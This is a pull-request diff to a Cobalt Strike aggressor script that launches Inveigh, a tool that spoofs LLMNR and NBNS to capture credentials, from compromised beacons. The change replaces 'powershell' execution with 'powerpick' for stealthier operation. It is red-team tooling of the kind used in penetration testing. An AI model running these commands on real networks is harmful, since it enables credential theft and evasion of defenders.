Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
12 changes: 6 additions & 6 deletions inveigh/inveigh.cna
Original file line number Diff line number Diff line change
Expand Up @@ -10,8 +10,8 @@ sub runPrivilegedInveigh {
binput($1, "powershell-import " . script_resource("inveigh/Scripts/Inveigh.ps1"));
bpowershell_import($1, script_resource("inveigh/Scripts/Inveigh.ps1"));
prompt_text("How long would you like to run Inveigh (in minutes)?", "15", {
binput($bid, "powershell Invoke-Inveigh -ConsoleOutput N -RunTime $1 -Tool 2 -LLMNR Y -NBNS Y -StatusOutput Y");
bpowershell($bid, "Invoke-Inveigh -ConsoleOutput N -RunTime $1 -Tool 2 -LLMNR Y -NBNS Y -StatusOutput Y");
binput($bid, "powerpick Invoke-Inveigh -ConsoleOutput N -RunTime $1 -Tool 2 -LLMNR Y -NBNS Y -StatusOutput Y");
bpowerpick($bid, "Invoke-Inveigh -ConsoleOutput N -RunTime $1 -Tool 2 -LLMNR Y -NBNS Y -StatusOutput Y");
});
}

Expand All @@ -20,23 +20,23 @@ sub runUnPrivilegedInveigh {
binput($1, "powershell-import " . script_resource("inveigh/Scripts/Inveigh-Unprivileged.ps1"));
bpowershell_import($1, script_resource("inveigh/Scripts/Inveigh-Unprivileged.ps1"));
prompt_text("How long would you like to run Inveigh (in minutes)?", "15", {
binput($bid, "powershell Invoke-InveighUnprivileged -ConsoleOutput N -RunTime $1 -Tool 2 -LLMNR Y -NBNS Y -StatusOutput Y");
bpowershell($bid, "Invoke-InveighUnprivileged -ConsoleOutput N -RunTime $1 -Tool 2 -LLMNR Y -NBNS Y -StatusOutput Y");
binput($bid, "powerpick Invoke-InveighUnprivileged -ConsoleOutput N -RunTime $1 -Tool 2 -LLMNR Y -NBNS Y -StatusOutput Y");
bpowerpick($bid, "Invoke-InveighUnprivileged -ConsoleOutput N -RunTime $1 -Tool 2 -LLMNR Y -NBNS Y -StatusOutput Y");
});
}

sub stopInveigh{
$bid = $1;
binput($1, "powershell-import " . script_resource("inveigh/Scripts/Inveigh.ps1"));
bpowershell_import($1, script_resource("inveigh/Scripts/Inveigh.ps1"));
bpowershell($bid, "Stop-Inveigh");
bpowerpick($bid, "Stop-Inveigh");
}

sub stopInveigh-Unprivileged{
$bid = $1;
binput($1, "powershell-import " . script_resource("inveigh/Scripts/Inveigh-Unprivileged.ps1"));
bpowershell_import($1, script_resource("inveigh/Scripts/Inveigh-Unprivileged.ps1"));
bpowershell($bid, "Stop-Inveigh");
bpowerpick($bid, "Stop-Inveigh");
}

popup beacon_bottom {
Expand Down